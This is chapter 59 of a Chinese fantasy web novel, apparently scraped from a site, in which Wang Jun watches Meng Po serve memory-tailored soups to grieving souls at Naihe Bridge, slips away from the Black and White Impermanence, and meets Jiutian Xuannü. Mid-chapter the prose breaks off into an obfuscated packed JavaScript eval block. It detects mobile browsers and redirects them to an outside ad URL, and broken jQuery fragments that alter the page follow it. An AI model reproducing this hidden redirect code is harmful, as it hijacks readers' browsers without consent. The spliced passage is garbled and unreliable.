59.第 59 章

作品:《我靠内卷成天帝了?

    奈何桥头,王隽正与玄鸟无聊巡视。


    自从阎罗殿出来后,她就能感受到若有若无的视线在监视自己。


    只是她回头张望,什么也没有。


    她只好拉着玄鸟在奈何桥发呆,好好想想怎么为天帝奉上“贺礼”。


    见孟婆熟练地在平板上戳戳点点,时不时还用地府的局域网学习人间的熬汤技术,王隽开口问道:


    “这Pad用起来可还习惯?”


    孟婆见她来了,喜不自胜地笑道:“这小板子可好用了,我得了空闲时就会从上面学习煮汤的花样,甭提多方便了。这过桥的亡魂喝了这汤,还想再来一碗,莫说是今世的记忆,就连前世的也忘了个干净。”


    王隽见两三米长的桌上摆着一排排小碗,打眼望去,个个精致小巧,里面汤种各异,闻起来香气十足。


    之前孟婆向自己抱怨,眼下虽有工厂流水线制作汤,但是品类太少,鬼魂们别无选择,只能饮下不符口味的汤,草草转世。


    孟婆想让他们走得了无牵挂,便找了她来商议此事。


    王隽欣喜孟婆的认真和善良,于是将人间流行的汤种详细地说了一番,还将许多制汤的方子记录下来。


    孟婆面对自己的本职工作,脑筋转得很快,马上就领会了她的意思。


    从那以后,孟婆便根据亡魂生前的执念,熬制不同种类的汤。


    虽说也有几个送货的小鬼嫌她事多,纷纷问道:“都死了的人了,干嘛还整这么多花样,随便递上一碗汤忘了前尘多省事!”


    孟婆难得开口一一驳斥回去。


    “你现在不用转世,也不会饥渴,那不用吃得好,睡得好了,有个馒头草席就够了吧?”


    那几个夜叉小鬼像哑巴似的,不说话了。


    毕竟他们干的活儿也不累了,每日还有孟婆熬制的新汤品尝,他们要不满足,孟婆准能派他们去地狱干苦差。


    他们几个讪讪一笑:“我们也就问问,没别的意思。”


    孟婆冷哼:“既如此,还不快快把我要的材料带来?”


    夜叉小鬼们点头喏了一声,不敢再抱怨。


    王隽得知后,心中欣慰。


    华夏人讲究吃食,犯人死前都能选择自己喜欢的食物,可世间大多数凡人不知死数,死后魂魄也抛不下怨念和执念,转世也不得安生。


    若能让他们尝到生前最想要的食物,便是怨恨也能消解三分。


    他们在这个世界都得到了平等、尊重。奈何桥上徘徊的鬼魂越来越少。


    这人性化的客户定制模式,赢得了亡魂个个好评。


    虽说,也不可能有差评。


    但用一碗热汤开解心结,何乐而不为?


    这时,一个幼童形态的灵魂蹦蹦跳跳地来到孟婆面前,“这位婆婆,你会不会做我妈妈做的汤呀?”


    孟婆慈爱地蹲下来,捏了捏她可爱的脸蛋。


    “自然。”


    她拉着孩童的手,精挑细选了印有小狗图案的碗,为她盛满肉汤。


    王隽皱眉:这肉汤怎么这么混浊?


    也许这汤是由小女孩记忆显化而成,这孩子的家庭条件不好,肉汤才会这样。


    透过孩童的记忆,她看到了这样一幕。


    面容模糊的母亲把肉汤递给女孩,接着被一个男人抢过来,放在一个男孩面前。


    女孩懂事的扬起笑脸,任由男人拖拽出大门,坐在拖拉机上晃晃悠悠地带到了远方……


    王隽握住拳头。


    孟婆见怪不怪,为一口气喝完肉汤的女孩仔细擦拭着嘴角的残渣。


    “好好喝呀!”女孩心满意足地放下碗,“谢谢婆婆,我终于知道妈妈做的汤是什么味道了。”


    “好孩子,你可以自己过桥吗?”


    “我可以!我可以自己做好多好多事情呢。”


    女孩对着王隽比了个大大的“耶”,笑嘻嘻地在奈何桥上玩起了跳房子的游戏。


    “月亮巴巴,踩着瓦渣,一跤跌倒,怪我打他,我没打着他,回去告妈妈,妈妈不在屋,躲在门背哭……”


    女孩的背影在浓雾中渐渐模糊,童谣戛然而止。


    孟婆感慨:“没想到过了百年,世间还有这样的孩子。”


    “可惜,可惜……”


    孟婆没有将话说完,转身去收喝完的汤碗。


    王隽知道,孟婆是可惜这个孩子好不容易转世为人,来世仍得要从牲畜做起。


    但是,她会和新的妈妈永远在一起。


    孟婆见她不作声,笑道:“王隽,你该走了。”


    王隽站立在原地,不发一言。


    一个年轻女子的灵魂穿过她,面无表情地走到孟婆前。


    “请给我忘记一切的汤。”


    孟婆默默挑选出一碗桃花茶汤,女子的手一颤。


    “粉色……”她喃喃着,“我不要粉色了。”


    孟婆捻起桃花瓣,戴在她的发间,赞赏不已:“粉色很美,不论是花还是在发间,都是美的。”


    女子迟疑地接过了桃花茶汤,一口一口饮下,脸上绽放出不输给花的笑容。


    “今世没能等到桃花开,希望来世还能看到……”


    孟婆点点头,指向远方。


    “你的爷爷在等你。”


    她悠扬悦耳的歌声在奈何桥上回荡,尽头是蹒跚年迈的老人心疼地看着孙女儿。


    祖孙相视一笑,什么话也没有说。


    孟婆余光瞥见王隽的脸色极差,心里明镜似的,但眼前还有一位要接待。


    一个老者形态的灵魂颤巍巍地走到孟婆面前,混浊的眼球血丝遍布。


    “这里好黑,我害怕……”


    孟婆握住她的手,“你别怕,来路虽黑,可前路都是光。”


    “九十八年了,我等不下去了。”


    “我应该忘记那些痛苦的事,可是我又不能忘记,因为我是最后一个亲眼见证的人,我不能忘记历史。”


    孟婆叹道:“你背负的沉痛,足够多了。现在是时候卸下这些责任,开始你新的人生了。”


    “可你们,还会记得吗?”


    王隽郑重点头,“战争结束了,历史不会。我们会永远记得。”


    老妇这才放心地接过了汤,王隽搀扶着她一步一步的向前,走到尽头。


    成为仙后,又经历了许多事,她应该是很少情绪的波动了。


    所见所听牵动心绪的悲喜动荡,都在如水的心境中越发不知深浅。


    可如今在奈何桥上,亲眼所见自己曾经历见证的一幕幕仍在发生。


    王隽此刻几乎在原地站不住脚,双拳攥得更紧。


    “这不是你我的责任。”


    孟婆温软的掌心包住她冰冷的拳头。


    她的弦外之音是:你管不了。


    “这里就由我来吧。”


    王隽面对孟婆的“逐客令”,知道自己表现得失态了。


    身为神仙,她可以表露悲悯同情,却不能过分痛心。


    “玄鸟,我们走吧。”


    王隽低着头不再作声,玄鸟也在肩上不言语。


    “天帝诞辰即将到来,你不是还要去……”


    王隽回头露出一个比哭还难看的笑脸,打断了玄鸟的话。


    “老黑老白别跟了。”


    玄鸟惊讶地四处张望,黄泉路上彼岸花开成一片,哪来的黑白无常?


    空气中传来一声叹息,黑白两团的雾气化出黑白无常的身形。


    玄鸟不可思议:他们什么时候跟在身后的?怎么连自己也没有察觉?</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160581|159305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “不用说,定是阎王爷让你们来的。”


    王隽无奈,“天帝诞辰是大事,我不会贸然行动。”


    黑无常讪讪笑着,“既然如此,你有什么计划尽管告诉我们,我们也好为你行使便利嘛。”


    “这可使不得。”王隽连连摆手,“您二位是什么身份,我还叫你们一声师父呢,您使唤我也就罢了,我怎么好意思反过来要求您呢?”


    白无常受不了这番虚伪的吹捧之词,直言道:“你说要听我们的,那就听我们的,老老实实待在地府,哪儿也别去。”


    王隽失语。


    老白你怎么不按套路出牌!


    “这,这给天帝的贺礼……”


    “十方阎罗自会在一起商议盘算,你就不必越俎代庖了。”


    玄鸟不乐意了,“你们怎么这么防着她,难道在你们眼里她只会惹祸吗?”


    白无常直视王隽,“说来你还欠我们一个人情,不如就在此时还了。”


    王隽知道他意指在海岛助她之事。


    “你们都不知我要做什么,就要拦我。甚至不惜要动用人情也要阻止我?”


    “阎王这是下了死命令了吗?”


    “是。”


    王隽面对白无常的直言,竟不知该回答什么。


    她在阎罗殿虽没敢向阎王解释清楚自己的想法,是因为自己也不确定自己的“贺礼”是否能让天帝满意。


    如果造成反效果,她可以辩解是她擅自行事,天帝在诞辰这日,也不会罚她罚得太重。


    本以为阎王有心改革,就算不支持,也会像往常一样默许。


    不想他这次认真起来,连黑白无常也严肃起来。


    可没有人能未卜先知,她不会因为他人的阻拦而就此放弃要做的一切。


    “老黑老白,你们的心意我领了,只是……”


    她的话还未说完,表情顿时停滞,就像时间也停了下来。


    黑白无常纳闷地看看她,王隽如梦初醒般,笑着说:“两位说的是,我会在地府老老实实的,哪儿也不去。”


    黑无常摇头,“你这孩子怎么说也不听呢?我们……”


    他震惊地瞪大眼睛,“你说啥?”


    王隽的笑容春光灿烂,“我说我就待在地府。”


    玄鸟呛了几声,这还是那个王隽吗?


    白无常仔细打量她一番,神色古怪,终究什么也没开口。


    “既如此,我和老黑也走了。”


    “哎哎老白,就这么走了?”黑无常还不甘心,“咱们能信她说的话吗?”


    白无常回头看向笑嘻嘻的王隽,“想拦也拦不住。”


    “可阎王那边怎么办?”


    “阎王那边,恐怕也拦不住……”


    因为留下的是王隽的分身,她本体早被带离了黄泉处。


    “这,这也能做到吗?”


    王隽打量着自己的身体,确定上半身下半身都还在,灵魂也在,松了口气。


    她明明是想留个分身糊弄一下老黑老白,然后再偷偷溜出去。


    只是她才刚起念,怎么就出来了?


    甚至连地府的传送坐标都没用。


    “这是怎么回事呢?”


    王隽眼睛一亮,面色欣喜:“难道是我的法力又变强了?”


    这时,一阵爽朗的女声在耳畔响起,“起初我还不信呢,天下竟还有这样的小仙。如今倒是亲眼见着了。”


    王隽警惕观察四周,“你是谁?”


    脑袋被重重敲了一下,“没礼貌!”


    虫声密密荡起回声:“还不快拜见玄天圣母娘娘?”


    玄天圣母?九天玄女!


    王隽小心试探:“请问您大驾光临,所为何事啊?”


    “为了天下众生。”